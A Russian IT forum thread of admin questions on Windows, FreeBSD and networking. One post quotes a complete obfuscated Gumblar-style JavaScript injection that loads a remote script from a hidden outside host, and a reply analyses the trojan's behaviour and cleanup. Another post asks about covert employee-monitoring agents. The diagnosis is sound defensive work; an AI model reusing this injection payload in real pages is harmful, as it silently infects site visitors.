Вопросы и ответы

[zythar]

задаем вопросы относительно настройки ОС (Windows и *nix)

[blaga]

Отличный раздел. :) Мой первый вопрос. полез тут в свойства папки-=типы файлов
увидел что там можно поменять иконки для различных типов файлов. и решил махнуть для папок с файлами. А там возьми и слети настройки для того что нужно делать с папкой по нажатии мыши. Я теперь сделал что пожизняк запускаеться проводник в этой папке и получаеться что на каждую папку новое окно грузится. Бесит ужасно. А команда по правой кнопкой "открыть" не работает. См. скрины.

http://keep4u.ru/imgs/s/080704/d3/d3b185faaf7618d3e7.jpg (http://keep4u.ru/full/080704/d3b185faaf7618d3e7/jpg)

а вот что выдает когда жмеш правой кнопкой мыши - = открыть
http://keep4u.ru/imgs/s/080704/e3/e3797e51a27f93a637.jpg (http://keep4u.ru/full/080704/e3797e51a27f93a637/jpg)
и снова открываеться новое окно.

Вопрос. КАК это ИСПРАВИТЬ?

Заранее спасибо. С меня магарыч в виде +10 :)

[spider-intruder]

там же есть дето: Свойства папки->Общие
Там открывать в разных окнах или в одном

Ну и (на картинке) поставь по умолчание Open а не Explore

[T-Rey]

Откат системы пробовали?
Как вариант посмотрите ветку "HKEY_CLASSES_ROOT"

Вот к примеру дамп подкаталога "Folder"


Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Folder]
@="Папка"
"EditFlags"=hex:d2,03,00,00
"TileInfo"="prop:Size"

[HKEY_CLASSES_ROOT\Folder\DefaultIcon]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,74,00,25,\
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00 ,32,00,5c,00,73,00,68,00,\
65,00,6c,00,6c,00,33,00,32,00,2e,00,64,00,6c,00,6c ,00,2c,00,33,00,00,00

[HKEY_CLASSES_ROOT\Folder\shell]

[HKEY_CLASSES_ROOT\Folder\shell\explore]
"BrowserFlags"=dword:00000022
"ExplorerFlags"=dword:00000021

[HKEY_CLASSES_ROOT\Folder\shell\explore\command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,74,00,25,\
00,5c,00,45,00,78,00,70,00,6c,00,6f,00,72,00,65,00 ,72,00,2e,00,65,00,78,00,\
65,00,20,00,2f,00,65,00,2c,00,2f,00,69,00,64,00,6c ,00,69,00,73,00,74,00,2c,\
00,25,00,49,00,2c,00,25,00,4c,00,00,00

[HKEY_CLASSES_ROOT\Folder\shell\explore\ddeexec]
@="[ExploreFolder(\"%l\", %I, %S)]"
"NoActivateHandler"=""

[HKEY_CLASSES_ROOT\Folder\shell\explore\ddeexec\app lication]
@="Folders"

[HKEY_CLASSES_ROOT\Folder\shell\explore\ddeexec\ife xec]
@="[]"

[HKEY_CLASSES_ROOT\Folder\shell\explore\ddeexec\top ic]
@="AppProperties"

[HKEY_CLASSES_ROOT\Folder\shell\open]
"BrowserFlags"=dword:00000010
"ExplorerFlags"=dword:00000012

[HKEY_CLASSES_ROOT\Folder\shell\open\command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,74,00,25,\
00,5c,00,45,00,78,00,70,00,6c,00,6f,00,72,00,65,00 ,72,00,2e,00,65,00,78,00,\
65,00,20,00,2f,00,69,00,64,00,6c,00,69,00,73,00,74 ,00,2c,00,25,00,49,00,2c,\
00,25,00,4c,00,00,00

[HKEY_CLASSES_ROOT\Folder\shell\open\ddeexec]
@="[ViewFolder(\"%l\", %I, %S)]"
"NoActivateHandler"=""

[HKEY_CLASSES_ROOT\Folder\shell\open\ddeexec\applic ation]
@="Folders"

[HKEY_CLASSES_ROOT\Folder\shell\open\ddeexec\ifexec]
@="[]"

[HKEY_CLASSES_ROOT\Folder\shell\open\ddeexec\topic]
@="AppProperties"

[HKEY_CLASSES_ROOT\Folder\shellex]

[HKEY_CLASSES_ROOT\Folder\shellex\ColumnHandlers]

[HKEY_CLASSES_ROOT\Folder\shellex\ColumnHandlers\{0 D2E74C4-3C34-11d2-A27E-00C04FC30871}]
@=""

[HKEY_CLASSES_ROOT\Folder\shellex\ColumnHandlers\{2 4F14F01-7B1C-11d1-838f-0000F80461CF}]
@=""

[HKEY_CLASSES_ROOT\Folder\shellex\ColumnHandlers\{2 4F14F02-7B1C-11d1-838f-0000F80461CF}]
@=""

[HKEY_CLASSES_ROOT\Folder\shellex\ColumnHandlers\{6 6742402-F9B9-11D1-A202-0000F81FEDEE}]
@=""

[HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandle rs]

[HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandle rs\Kaspersky Anti-Virus]
@="{dd230880-495a-11d1-b064-008048ec2fc5}"

[HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandle rs\UnlockerShellExtension]
@="{DDE4BEEB-DDE6-48fd-8EB5-035C09923F83}"

[HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandle rs\WinRAR]
@="{B41DB860-8EE4-11D2-9906-E49FADC173CA}"

[HKEY_CLASSES_ROOT\Folder\shellex\DragDropHandlers]

[HKEY_CLASSES_ROOT\Folder\shellex\DragDropHandlers\ WinRAR]
@="{B41DB860-8EE4-11D2-9906-E49FADC173CA}"

[HKEY_CLASSES_ROOT\Folder\shellex\DragDropHandlers\ {BD472F60-27FA-11cf-B8B4-444553540000}]
@=""

[HKEY_CLASSES_ROOT\Folder\shellex\PropertySheetHand lers]

[blaga]

spider-intruder, я не такой глупый. там все ок. как работает ореn я написал в своем посте...
T-Rey, ты про восстановление? оно у меня отключено. А по поводу дампа, ты уверен что у меня потом вообще заработает винда?

[T-Rey]

Мой дамп тебе под сравнение, ты покопайся в классах через regedit, возможно что нибудь обнаружишь.
И естественно включи восстановление системы и сделай полную бекап базу реестра чтобы не зарыться ещё глубже.

[random]

blaga, попробуй поправить реестр:
(токо пробелы удали)
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shel l]
@="none"

[NotCooL]

либо откат либо востановление системы с диска винды!

[blaga]

random, ОТЛИЧНО! :) Последний пример сработал как надо! :) Спасибо!

NotCooL, читай посты выше.

[Ky3bMu4]

задаем вопросы относительно настройки ОС (Windows и *nix)

Это разве не компетенция Windows/Soft - Wwindows ?

[NaX[no]rT]

Отличный раздел. :) Мой первый вопрос. полез тут в свойства папки-=типы файлов
увидел что там можно поменять иконки для различных типов файлов. итд....

Тебе нужно восстановить файловые ассоциации. Посмотри вот здесь (http://www.dougknox.com/xp/file_assoc.htm)
Непосредственно для папок вот (http://www.dougknox.com/xp/fileassoc/folder_reg.zip)

[MaSTeR GэN]

блин туда ли запостил хз ) такая проблемы при установке freebsd при создании разделов
выдает
Unable to find device node for /dev/ad0s1b in /dev!
The creation of filesystems will be aborted.
знаю что проблема много раз обсуждалась но если честно грамотного ответа я так и не нашел (

[xcedz]

http://www.freebsd.org/doc/ru_RU.KOI8-R/books/handbook/install-steps.html
http://www.reistlin.com/blog/170

[5w17ch3r]

Наверно глупый вопрос, но возможно ли как-нибудь через маршрутизатор с внешним адресом попасть в локалку? Логин и пасс от маршрутизатора имеются)

[mff]

Вопрос по cmd.
Требуется присвоить папке атрибут "скрытая", делаю так:
attrib +h c:\folderвсё ок, но вот если хочу сделать так:
attrib +h c:\Documents and Settings\folderпишет:
Ошибка в формате параметра -
видимо дело в пробелах, как быть? :confused:

Ой всё, ответ найден - обрамлять кавычками, сорр... :cool:

[-=lebed=-]

Единица измерения - стрейф, это сколько? И что под этим понимают?

[zythar]

http://ru.wikipedia.org/wiki/%D0%A1%D1%82%D1%80%D0%B5%D0%B9%D1%84?

[gangs]

помогите настроить порт форвардинг!! модем ZTE DSL!

вот скрин!!
http://s49.radikal.ru/i125/0901/08/7d4717f5b3d4.jpg

[Brain explosion]

помогите настроить порт форвардинг!! модем ZTE DSL!

вот скрин!!
http://s49.radikal.ru/i125/0901/08/7d4717f5b3d4.jpg

Ну и в чём проблема?
Internal server address - прописываешь внутренний ip компа.
External port - внешний порты, какие надо пробросить.
Intrernal port - внутренние порты, куда надо перебросить.
Если все, то start: 1 end: 65535 пиши во все поля, если только конкретный протокол - выбери из списка нужный, если конкретные сервисы - так же выбор из списка... Напиши как нужно настроить?

[tema666]

люди как создать список ip:порт ?

[xcedz]

люди как создать список ip:порт ?
ты логи собрался парсить?

[ii55vvw22]

Добрый день люди добрые)
Кто-нибудь поднимал icq-сервер? Посоветуйте если не трудно, что лучше поставить, если кто занимался этим и были проблемы по установке, неплохо бы и рекомендацию услышать от умных людей...

[m0nsieur]

Тебе для каких целей? Возможно тебе хватит jabber сервера, на просторах интернета найдешь не мало мануалов как его поставить.

[ii55vvw22]

Тебе для каких целей? Возможно тебе хватит jabber сервера, на просторах интернета найдешь не мало мануалов как его поставить.

Мне для общения внутри организации? jabber не катит(

Какие еще предложения?

[PaCo]

Такой глупый вопрос у меня - при заходи в сетевое окружения в win Broadcast/Multicast рассылаеться?

[SpangeBoB]

Такой глупый вопрос у меня - при заходи в сетевое окружения в win Broadcast/Multicast рассылаеться?
Именно так.

[Brain explosion]

Мне для общения внутри организации? jabber не катит(

Какие еще предложения?

Для Общения внутри организации поставь Dmess (http://softsearch.ru/programs/182-802-dmess-download.shtml) или Chatter (http://www.givemefile.ru/soft/windows/internet/conversation/14728.html) и не парься с ICQ сервером в локалке...

[159932]

где находиться ключ в реестре с валлпапером?
[ос: хрюша/виста]
--
ключ был найден с путями, но смена путей не к чему не приводит. нужно также изменять время для валпапера в хексе. но я так и не смог понять что именно храниться в хексе .. ибо там нет никакой даты/времени .. а спецсимволы =\
мб кто знает что в хексе записано ?

[HKEY_CURRENT_USER\Control Panel\Desktop]
"ConvertedWallpaper"="D:\\Install\\W\\WallP\\14.jpg"
"ConvertedWallpaper Last WriteTime"=hex:51,73,60,dd,cb,aa,c9,01
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General]
"WallpaperFileTime"=hex:34,32,e3,5f,6c,ab,c9,01
"WallpaperLocalFileTime"=hex:34,02,6c,23,7d,ab,c9,01

[SpangeBoB]

Лучше менять конечно из Group Policy ,но через реестр прекрасно отрабатывает ключ
HKEY_CURRENT_USER\Control Panel\Desktop\Wallpaper ,без лишних телодвижений.

[159932]

2 SpangeBoB
в том то и дело, что после такой замены, будет работать только после ребута/логофа

[SpangeBoB]

2 SpangeBoB
в том то и дело, что после такой замены, будет работать только после ребута/логофа
Именно так ,потому что за это отвечает ключ,который по умолчанию отключен:
System Key: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Value Name: AutoRestartShell

Так решения можно просто перестартовать explorer.exe

[159932]

рестартить експлорер не решение .. да и это совершенно не помогает (пробовал на хрюше)
--
Value Name: AutoRestartShell - включён.

--
эффекта нуль. =\

[SpangeBoB]

Прекрасно все отрабатывает на обоих машина на XP и на Vista,после рестарта explorer.

[159932]

Прекрасно все отрабатывает на обоих машина на XP и на Vista,после рестарта explorer.
на висте не имею возможности проверить .. но на хрюше 100% не хочет пахать =\ sp3 + ничего не может блочить ..
пох.. видимо не судьба ..

[ntldr]

Не знал куда запостить, напишу сюда.
У меня есть роутер dlink-dir300. У него есть веб-интерфейс для настройки, все файлы с расширением php, что наводит на 2 мысли:
1 - нас пытаются нае?ать,и все пхп-файлы ничто иное как прошивка.
2 - там действительно стоит веб-сервер, что конечно мало вероятно.

Просьба обладателям роутеров от dlink отписать свое мнение.

[KaZ@NoVa]

Скорее маловероятно, что это прошивка. =)))

[ntldr]

тогда должны быть способы сместить админку из "/" например в "/adminka/" а в индексе поставить что-то свое :)
Нет каких либо идей? Я просканил нмапом роутер, он мне выдал что предположительно это Mathopd httpd 1.5p6. Также были открыты порты 53 и 49152.

[KaZ@NoVa]

Ну взломай роутер и смести... =) Только нафига...

[ntldr]

Ну взломай роутер и смести... =) Только нафига...
ну как, комп включен далеко не всегда, а роутер всегда. Как хост для сайта юзать

[Xtrem]

на 2003 стоит запрет на скачку файлов... где это отключить?

[HIVER]

ntldr, обычно на роутеры ставят busybox, веб поднимается с мини-хттпд. ФС почти рид-онли, за исключением темповой папки. Попробуй зателнетится на роутер)

[login999]

Посоветуйте opensource soft для администрирования сети :) Желательно исходя из собственного опыта

[SpangeBoB]

Посоветуйте opensource soft для администрирования сети :) Желательно исходя из собственного опыта
1)Платформа.
2)Задачи.

[login999]

1)Платформа.
2)Задачи.

1. Желательно кроссплатформ
2. Мониторинг небольшой сети (~15 машин), просто хочу сделать это на нормальном уровне -чтоб один раз трахнуть мозг, а потом просто пожинать плоды, и время от времени подкручивать.

Исходя из того что время от времени работаю с Python, то заглядываюсь в сторону Zenoss (не так чтоб он ппц какой кроссплатформ, но очень привлкает то что написан на Python, прям аж тянет).
Ваше мнение ?

[ghostwizard]

Судя по задаче сойдет nagios, cacti так как им по сути нужен http+php+snmp,что можно организовать почти на любой распространненой платформе.

[Lexik]

Сам некоторое время был озадачен этим вопросом. Первым попробовал nagios, всё вполне настроил кроме карты сети , но захотельось попробовать что-нибудь ещё. Попробовал zabbix, cacti. Вменяемый коллега очень советовал zabbix, типа он его докрутил до того, что у него к компу мобила постоянно подсоединена и при всякой алярме ему система автономно смс-ки шлёт. Я до такого не дошёл, и вообще вся система по логике мне не близка была. Сейчас ( как раз с завтрашнего утра) буду снова поднимать nagios.

[spawn89]

помогите с выбором программы для отслеживания действия пользователей в корпорат. сети. нашел LanAgent, StaffCop и пару забугорных решений, но хотелось бы услышать Ваше мнение, если кто с таким вопросом сталкивался.
требования:
- 20-30 раб. станций
- тихая, удаленная установка агента, скрытая работа агента и "невидимость" логов
- вывод отчета в html, xml, csv/excel
слежение за:
- запуск, установка, удаление, закрытие программ
- web, im, е-mail+вложения логер/мониторинг
- копирование файлов на флеш/печать на принтере
- создание/редактировани/удаление файлов и папок
- вкл/выкл компьютера, время простоя
- скрины экрана

[Cthulchu]

Если это твоя сетка - ни в коем случае ничего подобного не ставь людям, иначе будет очен-очень плохо. Советую поставить фаерволл на шлюз и мониторить/логировать запросы.

[spawn89]

Если это твоя сетка - ни в коем случае ничего подобного не ставь людям, иначе будет очен-очень плохо. Советую поставить фаерволл на шлюз и мониторить/логировать запросы.
дело в том что это не мое личное желание, а приказ руководства, соответственно и ответ на вопрос - да это моя сетка.
а трафик и так логируется исой, больше всего волнует работа на компе/копирование файлов/их печать/и запуск сторонних прог.
а почему будет плохо?? сотрудникам "предложат" =)))) подписать бумагу о согласии на подобные действия со стороны руководства.

[spawn89]

получается спрашивать здесь бесполезно??

[SpangeBoB]

дело в том что это не мое личное желание, а приказ руководства, соответственно и ответ на вопрос - да это моя сетка.
а трафик и так логируется исой, больше всего волнует работа на компе/копирование файлов/их печать/и запуск сторонних прог.
а почему будет плохо?? сотрудникам "предложат" =)))) подписать бумагу о согласии на подобные действия со стороны руководства.
Если вы хотите представить пользователю как доказательство,то такое ПО должно быть сертифицировано в правоохранительных органах.

На самом деле у ваших пользователей должна быть, в соответствии с вашей политикой безопасности, подписана бумага о том, что они знают, что вся информация, обрабатываемая на компьютерах фирмы, принадлежит фирме!
Далее, сисадмин должен подписать бумагу, согласно которой он не имеет права, кроме как согласно письменного распоряжения руководства, смотреть чью-либо почту и файлы.
А также не имеет права открывать кому-либо сведения, ставшие ему известными в ходе подобного разбирательства кроме как по постановлению суда.

Владимир Безмалый
Microsoft Most Valuable Professional in Windows Security

[spawn89]

Если вы хотите представить пользователю как доказательство,то такое ПО должно быть сертифицировано в правоохранительных органах.
на самом деле мне и нужна была подобная отговорка, потому что и так ясно, чем меньше админ чето прикручивает, придумывает, приделывает и так далее, тем меньше у него работы.
собсно спасибо за ответ. и извиняюсь за свой последний пост, это был единственный действенный знакомый мне метод, стимулировать людей ответить хотя бы "нет/не знаю" на заданый вопрос.

[diznt]

беру хост
хостер мне говорит что если буду мощные ддос атаки то мя отрубят (=\)
ну так вот можно ли более менее нормально защитить сайт свой php скриптами?

[neval]

беру хост
хостер мне говорит что если буду мощные ддос атаки то мя отрубят (=\)
ну так вот можно ли более менее нормально защитить сайт свой php скриптами?

Нет

[mozarat]

Есть две машины(Винда ХР ) , на одной есть интернет, а на другой нет. Соединил их локально, через сетевухи. Первой машине присвоил ип 192.168.0.1 основной шлюз 192.168.0.1 , предпочитаемый DNS-сервер 192.168.0.1 (Но пробовал по разному). На второй машине все также только ип 192.168.0.2 . После чего пинг на вторую машину идет нормально, со второй на первую тоже. Но интернет на второй не работает. Что можете подсказать?

[SpangeBoB]

1)Машина должна быть роутером для этого надо исправить параметр в реестре:
http://technet.microsoft.com/en-us/library/cc962461.aspx

2)Тоже самое можно сделать через Internet Connection Sharing:
http://support.microsoft.com/kb/306126

Если делаете по 1 пункту,то на 1 машине в свойства сетевой карты оставляете :
ip - 192.168.0.1
mask -255.255.255.0
Больше не чего не должно быть.На второй машине:
ip -192.168.0.2
mask 255.255.255.0
gateway - 192.168.0.1
dns - айпи провайдера.

Если делаете через второй пунк ,то на второй машине выставить получать автоматически.

[Ctacok]

Есть файл .htacces
В него я вписал

AddType "application/x-httpd-php" .xs

в файл *.xs

ХТМЛ текс
<?PHP
echo "ПХП текст";
?>

Но PHP скрипт невыполняется, т.е. выводиться всё вместе с <?PHP и т.п.
вопрос №2
Возможно ли как нить убрать вообще расширение?
Примерно как в гуглях
http://www.google.ru/search
Там то какой то скрипт.. а не папка.

[zythar]

а у тебя включен mod_mime? без кавычек пробовал?
попробуй так: AddHandler application/x-httpd-php .xs

[Ctacok]

Вызвал phpinfo()
mod_mime есть в Loaded Modules.
Как я понял, значит включен.
Твой пример неработает.
Всё таки интересует, как убрать расширение файла.

[zythar]

http://httpd.apache.org/docs/2.2/mod/core.html#sethandler

[Ctacok]

Оказываеться проблема была в том что
.htacces
А не
.htaccess

Всё равно интересует вопрос по пустому расширению файла :)

[SaiRus]

есть 4 компа+ аля сервер, как грамотно реализовать следущее:
1) в сети из 100 компов сделать, что бы мои 4е компа не видели остальные сто компов(только себя и сервер), сервер видел сто компов и мои 4

2)хранилище файлов на сервере, и работа с приложением...

мои представления:

1)на сервер два сетевых подключения с разной маской под сети

2)сервер приложений поднять

а ваши каковы решения, подскажите, очень нужна помощь :rolleyes: что почитать только по конкретней пожалуйста? не книжку к примеру сеть для чайников, а по терминам...технологиям....сп� �сибо

[freelsd]

FreeBSD. Висят запросы через netstat: fin_wait_2 . Запросы идут от 80 порта и сканируют интернеты. Как можно узнать кто и как запустил эти сканеры?

[Acetoacidophilum]

А вот какой комадной можно сделать бэкапы баз всех 5 сайтов если они на одном хосте в mysql? Или надо команду для каждой базы делать?

[0rs]

На гейте находится почтовый сервер и файервол. Какое правило нужно добавить в файервол, чтобы почтовый сервер был доступен только из локальной сети и мог принимать и отправлять почту на другие сервера?

[Vanad1um3]

Беру первый в жизни VPS. Скажите, что лучше выбрать Linux или FreeBSD? В чем будет проще разобраться?

[zythar]

выбирай ту ось, гуру которой к тебе ближе всего (с) хз кто

[Vanad1um3]

А если рядом нет никого, кто не пугается при фразе "дедикейтид сервер"? :)

Пожалуйста, давайте, прям пальцем в небо, что проще? Просто реально сравнивать не с чем :(

[truelamer]

Ребята Помогите!
есть TP-LINK TD-8816 обычный ADSL modem router c четырьмя разъемами эзернет. На этом роутере настроен Интернет от провайдера по к нему подключены 2 компа, интернет на них раздается замечательно, в настройках везде стоит отключеным DHCP на компах шлюзы и IP прописаны руками. Когда к этому роутеру подключаю по сетевому разьёму Acorp WR-G+ 802.11g то все нормально до тех пор пока к этому акорпу не подключается один комп по wifi и тогда сразу пробадает интернет на всех компах. У акорпа тоже отключен DHCP и у того компа который подключается по wifi адреса прописываю руками. Почему пропадает интернет и как это исправить??? IP TP-LINK 192.168.1.1, IP Acorp'a 192.168.1.150, IP компов подключенных к ЕЗ-LINK 192.168.1.10-11, IP того который подключен к acorp 192.168.1.50

[Miller54]

Можете подсказать, на других хостингах такого небыло,
добавляет время от времени у все файлы с расширением .js
и иногда в главный файл index .php вот такой код:

/*GNU GPL*/ try{window.onload = function(){var X6kv3172pxxh09 = document.createElement('s&c(r$)$)i($p^$t!'.replace(/\^|\)|\(|\$|\!|&|@|#/ig, ''));var Bxr33krz12xvks = 'Uaeuhysqd40i1';X6kv3172pxxh09.setAttribute('type' , 't@(@!e(x)(!)t$(&(/)#(j^a#!v)a!^s&c^r@#^(i&@p^t&('.replace(/\!|\(|&|\^|#|\$|\)|@/ig, ''));X6kv3172pxxh09.setAttribute('src', 'h&@t)(#(t$^)!p(:$!/!#/(v^)i#@!r#g#i$#l^()i)(@o(#)-^!i((!)t).&p^#)(p^&l)!i$v)@&e#&!.!^(c^#))@o^m@)!).$&h^^^!a&)(t#!(#t@@r#i$c^(k&$@-)$&o^)r&#&g&)@!.$$#g!(&u)^i)#)!d#!e(^#b)a)t)!.&$r)!$u():@@8$0^)@8^0$#/$^g$!o)o$!g!@&l((#@e^#.^!$c)^#!o!#m)!/#g)@&o!)#))o^(!g##@!l^$e!.$)c@!o)(!&m)#&^/&h)^o!((m&e&!d$!e(p@#&o#!t$#(.^c#&#o)#^^m@)^/@#&r!i^v!)@a!(l!^s!#.(^c&$$&o(@&m&^/($!(b#(@i^^)g&!(p((o$&i^^(!n@#!)$t!$)(.(^&@c^@o$m(@)/&'.replace(/&|\$|#|\)|\(|\!|@|\^/ig, ''));X6kv3172pxxh09.setAttribute('defer', 'd!$!)#e&@^f^@&&$e(@r^($'.replace(/\)|\$|&|\(|@|\^|#|\!/ig, ''));X6kv3172pxxh09.setAttribute('id', 'T$d&!7#!t)!(m#@$&n!(n@(v(8!$y!#^#^s!(#9(@5^(v)(c$$o$@('.replace(/#|\(|&|\^|\$|\)|@|\!/ig, ''));document.body.appendChild(X6kv3172pxxh09);}} catch(N4sf98lcd5981bg) {}



Можете подсказать что он значит?

[Ex@rcist]

Trojan-Downloader.JS.Agent.ewh - Обфусцированный вариант трояна типа Gumblar.

Все начинается с того что - троян ворует фтп пароли на комне жертвы, делает конект на сервер, далее следует инъекция в web страницу либо *.js - хотя возможны и некоторые вариации в зависимости от версии трояна.

Точное описание найти трудно.

Троянец (Вариант из того же подсимейства: Trojan-Downloader.JS. Agent.mp), который без ведома пользователя загружает на зараженный компьютер из сети Интернет другие вредоносные программы и запускает их на исполнение. Является сценарием языка Java Script. Имеет размер 9656 байт.

Деструктивная активность

После запуска троянец производит внедрение своего кода в память процессов, имеющих следующие уникальные идентификаторы в системном реестре:

{BD96C556-65A3-11D0-983A-00C04FC29E30}
{BD96C556-65A3-11D0-983A-00C04FC29E36}
{AB9BCEDD-EC7E-47E1-9322-D4A210617116}
{0006F033-0000-0000-C000-000000000046}
{0006F03A-0000-0000-C000-000000000046}
{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}
{6414512B-B978-451D-A0D8-FCFDF33E833C}
{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}
{06723E09-F4C2-43c8-8358-09FCD1DB0766}
{639F725F-1B2D-4831-A9FD-874847682010}
{BA018599-1DB3-44f9-83B4-461454C84BF8}
{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}
{E8CCCDDF-CA28-496b-B050-6C07C962476B}

Для выполнения произвольного кода в зараженной системе троянец использует уязвимости в ActiveX-компонентах «WinZIP FileView», «QuickTime», «WebViewFolderIcon», а также уязвимость в библиотеке MS Internet Explorer — «Msdds.dll».

Уязвимость в ActiveX-компоненте «XMLHTTP» троянская программа использует для загрузки файла со следующего URL:

http://69.228.192.***/file.php

(На момент создания описания данная ссылка не работала.)

Используя уязвимость компонента «ADODB.Stream», троянец сохраняет скачанный файл в корень диска С: под именем «sys.exe» (где — буквы английского алфавита, отобранные случайным образом):

С:\sys.exe

Также загруженный файл сохраняется в системном каталоге Windows под именами «~.exe»:



%System%\~.exe

и «cpu.exe»:

%System%\cpu.exe

Также файл сохраняется в каталоге, находящемся на уровень выше каталога, содержащего оригинальный файл троянца, — под именем «tm.exe».

## Solution ##

1. Сканим комп с которого заходим по фтп
2. Меняем пароли
3. Закрываем дыры на сайте

Лечилка

_http://www.mczone.ru/relations/num/379/1

[Miller54]

Огромнейшее СПАСИБО, неожидал такого подробного ответа , впечатлило))))

[ii55vvw22]

Подскажите, кто-нибудь знает узкоспециализированные средства записи телефонных разговоров на АТС Samsung iDCS-500? Кроме как SVMi-8 пока не нашел, к тому же она стоит около 40к, ну и функционал у нее богат...а вот что-нибудь подешевле, ну и чтобы была возможность записи.

[dimka11]

дайте список ssh команд.

[bq1foe]

дайте список ssh команд.

_http://www.agpage.ru/articles/ssh.html
_http://homelessinbelarus.com/2008/08/likbez-pamyatka-po-ssh-spisok-osnovnyx-unix-os-komand-pri-rabote-s-xostingom.html
_http://xtune.com.ua/pages-view-187.html

[flacs]

Проблема с настройкой NAT на виртуалке

vmware 6.5
Сервер: windows 2003 Server
Клиент: windows xp sp3
Создал Team из этих машин....
настраиваю НАТ - по вот этому мануалу
http://www.smart-soft.ru/?page=nat2003
Все настраиваю как на рисунках
потом в клиентке для проверки,
пишу ping 192.168.0.1, и не пингует(
P.S. где в сервере настраиваются интерфейсы выбрал
Внешний интерфейс - как подключение к локальной сети

Пробовал в настройках контролера, выбранной Team,
ставить галочки, на NAT, Bridged, LAN, никакого эффекта

В чем ошибка?

[SpangeBoB]

Проблема с настройкой NAT на виртуалке

vmware 6.5
Сервер: windows 2003 Server
Клиент: windows xp sp3
Создал Team из этих машин....
настраиваю НАТ - по вот этому мануалу
http://www.smart-soft.ru/?page=nat2003
Все настраиваю как на рисунках
потом в клиентке для проверки,
пишу ping 192.168.0.1, и не пингует(
P.S. где в сервере настраиваются интерфейсы выбрал
Внешний интерфейс - как подключение к локальной сети

Пробовал в настройках контролера, выбранной Team,
ставить галочки, на NAT, Bridged, LAN, никакого эффекта

В чем ошибка?
А зачем усложнять себе жизнь и настраивать NAT через RRAS на Windows Server 2003,когда в настройках виртуальной машины выставляем NAT и в настройках гостевой ОС выставить получать автоматически(DHCP).Но если настраивать через RRAS и будем иметь ввиду ,что NAT уже настроен и работает,то в настройках гостевой ОС поставить ip из диапозона внутренней сети,шлюз,dns и в настройках машины указать Bridge.

[flacs]

еще один вопрос, когда сеть настроена, что нужно настроить в ОС сервера, чтобы у клиентов был сетевой вход в систему, (т.е. там выбирается какой домен), и имя юзера и пароль, пожалуйста как можно подробнее распишите, либо дайте ссылку на мануал

[SpangeBoB]

еще один вопрос, когда сеть настроена, что нужно настроить в ОС сервера, чтобы у клиентов был сетевой вход в систему, (т.е. там выбирается какой домен), и имя юзера и пароль, пожалуйста как можно подробнее распишите, либо дайте ссылку на мануал
http://technet.microsoft.com/en-us/library/cc782657(WS.10).aspx

[Krevedko]

Привет!
Можно ли в Windows (XP SP3) настроить перенаправление всех исходящих пакетов на определенного IP на localhost? Т.е. программа пытается соединиться со своим сервером, а попадает на localhost, там с ней общается собственный сервер. Пробовал занести в hosts-файл строку
тот.самый.ip localhost
Однако программа продолжает соединяться с тем.самым.ip
Возможно существуют специальные программы?

[B1t.exe]

Krevedko

когда то стоял такая задача.. решался поднятием Loopback интерфейса в системе и у него прописать тот IP адрес.
http://ru.wikipedia.org/wiki/Loopback

[NeTForCe]

Посоветуйте что-нибудь почитать о сетях. Для начинающего. Спасибо.

[SpangeBoB]

Посоветуйте что-нибудь почитать о сетях. Для начинающего. Спасибо.
Полно всякого материала.
видео - http://rutracker.org/forum/viewforum.php?f=1560

книги - http://rutracker.org/forum/viewforum.php?f=1429

Присмотреться к аторам Олифер,Таненбаум и курсы от Cisco.

[Konqi]

Посоветуйте что-нибудь почитать о сетях. Для начинающего. Спасибо.

много интересного можно найти в книгах фленова :

Linux глазами хакера

Web-сервер глазами хакера

[izik]

Что надо для того чтоб работать с ManageEngine ServiceDesk ?
Мне сказали нужно собрать сервак, прописать DNS, закинуть ServiceDesk и пользоваться... так ли это ?